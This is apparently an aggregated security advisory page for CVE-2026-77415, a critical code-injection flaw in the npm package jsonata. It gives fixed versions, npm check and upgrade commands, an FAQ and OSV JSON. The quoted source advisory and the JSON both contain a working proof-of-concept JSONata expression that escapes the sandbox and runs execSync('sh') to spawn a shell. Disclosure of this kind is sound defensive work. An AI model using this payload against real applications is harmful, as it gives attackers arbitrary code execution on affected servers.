CVE-2026-77415: Jsonata JSONata Vulnerable To Arbitrary Code Vulnerability

CRITICAL
Advisory Identifier: GHSA-66mm-25pp-rfff
CWE-94
Published
Advisory Summary

CVE-2026-77415 is a CRITICAL jsonata vulnerable to arbitrary code vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Jsonata libraries in the npm ecosystem. The issue involves jsonata vulnerable to arbitrary code execution via crafted jsonata expressions. Remediation is available by upgrading affected packages to version 2.2.1, 1.8.8.

CVE-2026-77415 at a Glance

CVE Identifier CVE-2026-77415
GHSA Identifier GHSA-66mm-25pp-rfff
Severity CRITICAL
CVSS v3.1 Base Score N/A
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product Jsonata
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-77415

To remediate this vulnerability, upgrade all affected Jsonata dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

jsonata fixed: 2.2.1
npm install jsonata@2.2.1
jsonata fixed: 1.8.8
npm install jsonata@1.8.8
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls jsonata

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-77415, inspect your project dependencies using npm:

npm ls jsonata

Analyze the terminal output to locate any version of Jsonata in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.2.1), your application is affected.

Note: The npm ls jsonata command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Jsonata, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

Before JSONata `2.2.1` and `1.8.8` it was possible to execute arbitrary code with crafted expressions, due to: - overwriting `$clone` allowing mutation of objects via transforms (see [`evaluateTransformExpression`](https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1304-L1314)) - it being possible to destruct jsonata functions/lambdas (e.g. `$merge.*`) - [applyProcedure](https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1670C20-L1675) using `proc.arguments.forEach` and not `Array.prototype.forEach` Which could be chained to execute arbitrary code. This was fixed with: - https://github.com/jsonata-js/jsonata/pull/799 (https://github.com/jsonata-js/jsonata/pull/799/changes#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1673-R1673) - https://github.com/jsonata-js/jsonata/pull/800 - https://github.com/jsonata-js/jsonata/pull/802 Which are included in the `2.2.1` release. Fixes were then back-ported to the `1.8.8` release. ## PoC ```js import jsonata from "jsonata"; const expression = jsonata(` ( $obj := {}; $clone := function($o) { $o }; $m := ($merge.*)[1]; $fn := function($a) { ( $a({"value":"lg"},"__lookupGetter__"); $a({"value":"x"},"x"); ) }; $nop := function() { $ }; $capture := function($val) { $obj ~> | $obj | {"x": 1, "y": 1, "lg":$lg} | }; $ ~> | $ | $m([$nop,{"_jsonata_lambda":false}])|; $ ~> | $ | {"arguments":{"forEach": $spread($fn)}}|; $ ~> | $ | {"body":$m([$capture,{"_jsonata_lambda":false}]).body}|; $func := $m([$,{"_jsonata_lambda":true}]); $func(); $gP := $obj.lg("__proto__"); $afn:=$spread($fn); $afn{"x":$gP().constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")()}; ) `); await expression.evaluate({}); ``` ## References - https://github.com/jsonata-js/jsonata/pull/799 - https://github.com/jsonata-js/jsonata/pull/799/changes#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1673-R1673 - https://github.com/jsonata-js/jsonata/commit/c41ef185136a7b96ca1049c7745a7503b82193de - https://github.com/jsonata-js/jsonata/pull/800 - https://github.com/jsonata-js/jsonata/commit/d49dcdd01a4617e5601edda3ce9a971a791126dc - https://github.com/jsonata-js/jsonata/pull/802 - https://github.com/jsonata-js/jsonata/commit/e362dfd686c1dadd1dd9324373819be446fd4f04

CVE-2026-77415 Affected Jsonata Versions

2 component(s)
Fixed Versions:
2.2.11.8.8
Product / Package Ecosystem Affected Versions Fixed Version
jsonata
npm
≥ 2.0.0
< 2.2.1
2.2.1
jsonata
npm
< 1.8.8
1.8.8

References

Frequently Asked Questions

What is CVE-2026-77415?
CVE-2026-77415 is a security vulnerability in Jsonata involving JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which Jsonata versions are affected?
Affected versions include releases prior to 2.2.1, 1.8.8 across affected packages: jsonata.
What version fixes CVE-2026-77415?
Upgrading to 2.2.1, 1.8.8 (or the latest patched release for your respective branch) resolves the vulnerability.
Is jsonata affected?
Yes, jsonata is affected in releases prior to 2.2.1, 1.8.8. Upgrade your dependency to 2.2.1, 1.8.8 or later.
What CWE is associated with CVE-2026-77415?
CVE-2026-77415 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check npm dependencies for CVE-2026-77415?
Run the dependency tree command: 'npm ls jsonata'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-66mm-25pp-rfff",
  "modified" : "2026-08-21T21:04:19Z",
  "published" : "2026-08-21T21:04:19Z",
  "aliases" : [ "CVE-2026-77415" ],
  "summary" : "JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions",
  "details" : "Before JSONata `2.2.1` and `1.8.8` it was possible to execute arbitrary code with\ncrafted expressions, due to:\n- overwriting `$clone` allowing mutation of objects via transforms (see\n[`evaluateTransformExpression`](https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1304-L1314))\n- it being possible to destruct jsonata functions/lambdas (e.g. `$merge.*`)\n- [applyProcedure](https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1670C20-L1675)\nusing `proc.arguments.forEach` and not `Array.prototype.forEach`\n\nWhich could be chained to execute arbitrary code.\n\nThis was fixed with:\n\n- https://github.com/jsonata-js/jsonata/pull/799\n(https://github.com/jsonata-js/jsonata/pull/799/changes#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1673-R1673)\n- https://github.com/jsonata-js/jsonata/pull/800\n- https://github.com/jsonata-js/jsonata/pull/802\n\nWhich are included in the `2.2.1` release. Fixes were then back-ported to the `1.8.8` release.\n\n## PoC\n\n```js\nimport jsonata from \"jsonata\";\n\nconst expression = jsonata(`\n(\n    $obj := {};\n    $clone := function($o) { $o };\n    $m := ($merge.*)[1];\n\n    $fn := function($a) {\n        (\n            $a({\"value\":\"lg\"},\"__lookupGetter__\");\n            $a({\"value\":\"x\"},\"x\");\n        )\n    };\n\n    $nop := function() { $ };\n\n    $capture := function($val) {\n        $obj ~> | $obj | {\"x\": 1, \"y\": 1, \"lg\":$lg} |\n    };\n\n    $ ~> | $ | $m([$nop,{\"_jsonata_lambda\":false}])|;\n    $ ~> | $ | {\"arguments\":{\"forEach\": $spread($fn)}}|;\n    $ ~> | $ | {\"body\":$m([$capture,{\"_jsonata_lambda\":false}]).body}|;\n    $func := $m([$,{\"_jsonata_lambda\":true}]);\n    $func();\n\n    $gP := $obj.lg(\"__proto__\");\n\n    $afn:=$spread($fn);\n    $afn{\"x\":$gP().constructor(\"return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})\")()};\n)\n`);\n\nawait expression.evaluate({});\n```\n\n## References\n\n- https://github.com/jsonata-js/jsonata/pull/799\n- https://github.com/jsonata-js/jsonata/pull/799/changes#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1673-R1673\n- https://github.com/jsonata-js/jsonata/commit/c41ef185136a7b96ca1049c7745a7503b82193de\n\n- https://github.com/jsonata-js/jsonata/pull/800\n- https://github.com/jsonata-js/jsonata/commit/d49dcdd01a4617e5601edda3ce9a971a791126dc\n\n- https://github.com/jsonata-js/jsonata/pull/802\n- https://github.com/jsonata-js/jsonata/commit/e362dfd686c1dadd1dd9324373819be446fd4f04",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "jsonata"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.0.0"
      }, {
        "fixed" : "2.2.1"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "jsonata"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.8.8"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/jsonata-js/jsonata/security/advisories/GHSA-66mm-25pp-rfff"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jsonata-js/jsonata/pull/799"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jsonata-js/jsonata/pull/800"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jsonata-js/jsonata/pull/802"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jsonata-js/jsonata/commit/47c0e58542202c705726663166dbee5fcae47d06"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jsonata-js/jsonata/commit/4b217d514376e30cba278941298d7ba97c4a6c6e"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jsonata-js/jsonata/commit/59e25144fc3b7125f6befd71b8a6e14e1fa610d2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jsonata-js/jsonata/commit/f09df8416eab8ff44926fc6527c80fb8701de159"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jsonata-js/jsonata/commit/f174348c7fa30f271b63ddedf0767e814004bc4d"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/jsonata-js/jsonata"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jsonata-js/jsonata/releases/tag/v1.8.8"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jsonata-js/jsonata/releases/tag/v2.2.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-21T21:04:19Z",
    "nvd_published_at" : null
  }
}